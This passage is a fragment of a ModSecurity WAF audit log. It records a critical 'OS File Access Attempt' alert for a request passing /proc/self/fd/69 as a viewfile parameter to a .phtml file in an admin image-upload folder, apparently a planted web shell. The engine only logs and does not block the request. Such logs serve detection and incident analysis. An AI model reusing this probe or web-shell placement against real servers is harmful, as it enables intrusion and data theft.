proc/self/fd/6 found within ARGS:viewfile: /proc/self/fd/69"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/6" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/6 found within ARGS:viewfile: /proc/self/fd/69"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-KLefuBBh2mGxo8mWK3wAAAAs"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043181450041 4798 (- - -) Stopwatch2: 1750043181450041 4798; combined=2492, p1=457, p2=1910, p3=35, p4=35, p5=55, sr=109, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --adf1a70b-Z--